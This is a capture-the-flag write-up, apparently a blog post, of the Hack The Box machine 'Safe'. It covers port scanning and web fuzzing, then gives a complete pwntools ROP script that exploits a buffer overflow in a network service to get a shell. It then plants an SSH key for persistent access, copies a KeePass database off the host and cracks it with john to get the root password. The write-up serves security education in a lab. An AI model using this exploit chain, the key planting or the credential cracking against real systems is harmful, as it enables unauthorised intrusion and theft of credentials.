Post

Safe

This machine will challenge our pwning skills on a binary hosted by the machine. After spawning a shell, there are some files in the user home directory which are related to KeePass. We can crack the file and get root’s password. Let’s dive in!

Recognisement

First of all, let’s send an ICMP packet to the victim machine, whose IP is 10.129.227.223, to see if we have connection to the machine:

ICMP packet

So we have connectivity, and furthermore, according to the TTL, we can think it is a Linux machine (which HTB tells us, but anyway :D).

Let’s find out the open port Safe has. To do so, we can run:

1
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.227.223 -oG allPorts

and this is the importante piece of output:

open ports

We can see it has ports 22 (SSH), 80 (HTTP) and 1337 (we will see what this is). Now, we are going to gather some more information about the services running in those ports. We can run the following command:

1
sudo nmap -p22,80,1337 -sCV 10.129.227.223 -oN targeted

which will save the output in a file called targeted. We wait a couple of minutes and this is the result:

nmap output

So, all in all:

  • Outdated version of SSH (vulnerable to username enumeration)
  • HTTP webpage using Apache
  • Still weird port 1337 that we will further investigate.

But first, let’s go with the HTTP service. When we write the IP in the browser, we are just presented with de default Apache webpage:

apache default

So nothing interesting there. Let’s do some fuzzing, to try to get some other resources. This time we’ll use gobuster:

1
gobuster dir -t 100 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.129.227.223/

but this finds nothing. Maybe we can fuzz PHP, HTML or TXT files? Let’s give it a shot:

1
gobuster dir -t 100 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.129.227.223/ -x php,html,txt

But again, nothing useful. Let’s take a closer look at the webpage. If we see the HTML source code we will see this:

myapp-clue

So, apparently there is an app running on port 1337 whose code can be downloaded somehow? If we browse http://10.129.227.223:1337 we definately can see an app is running:

myapp

The comment in the HTML says that it can be downloaded. Maybe the code is in http://10.129.227.223/myapp? If we go to that endpoint… Bingo! That downloads a file called myapp.

Getting user shell. Pwning time!

Let’s take a look at it. First of all, let’s run this command to see what file that is

1
file myapp

file command

So it looks like a binary, dynamically linked and not stripped. This will be helpful to understand it when decompiling it.

To get a better feeling about what the binary is doing, we can open it with Ghidra. After decompiling it, we see the main function. This is what it does:

main function

So it is executing the uptime command, and then is taking the user input and printing it. Notice that it is saving the user input in a 112-byte buffer, but it is not checking that the user input indeed fits in that buffer. If we run that command and send a lot of ‘A’s, this is what happens:

bof

So it looks like it is vulnerable to Buffer Overflow. Let’s run checksec to see which protections it has enabled:

1
checksec ./myapp

checksec

So we see that is has NX enabled, so it won’t be as easy as writing some shell code in the stack and executing it. Maybe we can try to use some gadgets and functions that the binary already has and execute some code.

What I first took into account is that the code is already using the system function. Therefore, if I could get the string “/bin/sh” somehow, I could spawn a shell. Let’s check the writable sections in the binary. We can do that using radare2.

1
2
3
4
radare2 myapp
[once inside radare2]
aaa
iS

writable sections

These are the writable sections of the binary. We could write the string “/bin/sh” in one of those. We could take, for example, .data. The easiest way to do that is to call the gets function (that the binary is using as well). This is the python script I wrote to exploit that and spawn a shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python3

from pwn import *

binary_path = "../content/myapp"
ip = "10.129.227.223"
port = 1337
offset = 120


def getshell(r, elf, rop):
    POP_RDI = rop.find_gadget(["pop rdi", "ret"])[0]
    GETS = elf.sym["gets"]
    
    for section in elf.sections:
        if section.name == ".data":
            DATA = section["sh_addr"]

    SYSTEM = elf.sym["system"]

    payload = b"A"*offset
    payload += p64(POP_RDI)
    payload += p64(DATA)
    payload += p64(GETS)
    payload += p64(POP_RDI)
    payload += p64(DATA)
    payload += p64(SYSTEM)

    r.recv()
    r.sendline(payload)


def main():

    elf = ELF(binary_path)
    rop = ROP(binary_path)

    r = remote(ip, port)

    getshell(r, elf, rop)

    r.interactive()


if __name__ == "__main__":
    main()

This script will wait for you to write a command (using gets). If you write sh, it will spawn a shell, and you can continue writing commands.

Shell spawn

And there we go! To make things easy, I will copy my public SSH key and paste it in the path /home/user/.ssh/authorized_keys. Now, I can simply SSH into the user “user” account without entering a password.

ssh access

Privilege escalation

If we cd into the user’s home directory, we see these files:

list files of user's home

So, a MyPasswords.kdbx (which is a Keepass password database 2.x KDBX) and some photos. Let’s transfer them to my computer.

1
2
scp user@10.129.227.223:/home/user/IMG* .
scp user@10.129.227.223:/home/user/MyPasswords.kdbx .

Whenever we have a .kdbx file, we can try to bruteforce the master key of the passwords database. A cool thing that KeePass has is that you can unlock your file using both, a master file and a master password. Maybe one of those photos is the master file?

We can use keepass2john to generate some hashes that we can later crack using john:

1
2
keepass2john MyPasswords.kdbx >> hashes.txt
for file in ./IMG*; do keepass2john -k $file MyPasswords.kdbx >> hashes.txt; done

And now we can use rockyou.txt to crack the hashes:

1
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

After a couple of minutes…

john crack

So now we can open the passwords database file with the KeePass application. After some tries to guess which one of the images is the master key, I can open the file and get the “Root password”. Copying it and executing su root, we get root access!!

I hope you found this useful!

This post is licensed under CC BY 4.0 by the author.